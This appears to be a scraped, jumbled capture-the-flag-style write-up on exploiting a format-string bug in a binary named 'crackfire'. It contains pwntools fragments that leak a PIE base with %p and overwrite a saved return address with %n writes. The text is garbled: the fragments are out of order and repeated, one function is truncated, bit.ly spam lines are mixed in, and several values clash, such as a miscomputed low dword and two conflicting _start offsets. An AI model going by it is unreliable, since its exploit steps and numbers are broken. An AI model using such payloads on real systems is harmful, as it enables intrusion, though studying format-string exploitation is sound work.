Https- Bit.ly Crackfire Apr 2026
def build_fmt_payload(ret_addr, win
# ---------------------------------------------------------------------- # 2. Build format‑string payload # ---------------------------------------------------------------------- low = win & 0xffffffff high = win >> 32
def get_base(p): """Leak a known symbol (e.g., _start) to compute PIE base.""" # _start is at offset 0x4000 from base (found via readelf) leak = leak_address(p, "%p %p %p %p %p %p") # The second pointer (index 1) is usually _start in this binary # Adjust as needed by inspecting the output. # For illustration we assume leak is the PIE base directly. base = leak - elf.sym['_start'] log.success(f"PIE base: hex(base)") return base https- bit.ly crackfire
base = leaked_puts_addr - puts_offset_in_binary For the purpose of this write‑up we’ll assume the binary’s base is 0x555555554000 (typical ASLR value on my system). All subsequent addresses are . 6. Locating the return address on the stack When printf(buf) processes the format string, the stack layout looks like:
printf("Enter the secret code:\n"); scanf("%s", buf); // <-- NO length limit scanf("%s", ...) reads until whitespace, no size check → . But more importantly, later there is a printf that prints the user‑controlled string without a format string : base = leak - elf
from pwn import *
The classic technique is to write the lower 2 bytes, then the upper 2 bytes, then the upper 4 bytes, etc. Since we have a full 64‑bit address we’ll do it in (lower and higher dword) using %n twice. 7.1. Compute split values win_addr = 0x5555555552f0 low = win_addr & 0xffffffff # 0x5552f0 high = win_addr >> 32 # 0x5555 We need to place the low dword at the saved RIP, then the high dword at saved RIP+4. 7.2. Choose where to write the two addresses We’ll prepend the two addresses to the format string; they’ll become the first two arguments ( %1$ , %2$ ). Then we’ll use %3$n and %4$n to write to those addresses. Locating the return address on the stack When
Even though the source isn’t present, the symbols make this clear. Open crackfire in Ghidra (or IDA) and locate the main routine.
The binary is compiled PIE, so we need to of _start (found via readelf -s crackfire | grep _start → 0x4006f0 ) to get the load address:
[payload] = <addr_of_ret> <addr_of_ret+4> <format string> We must pad the number of bytes printed so that %n writes the correct value.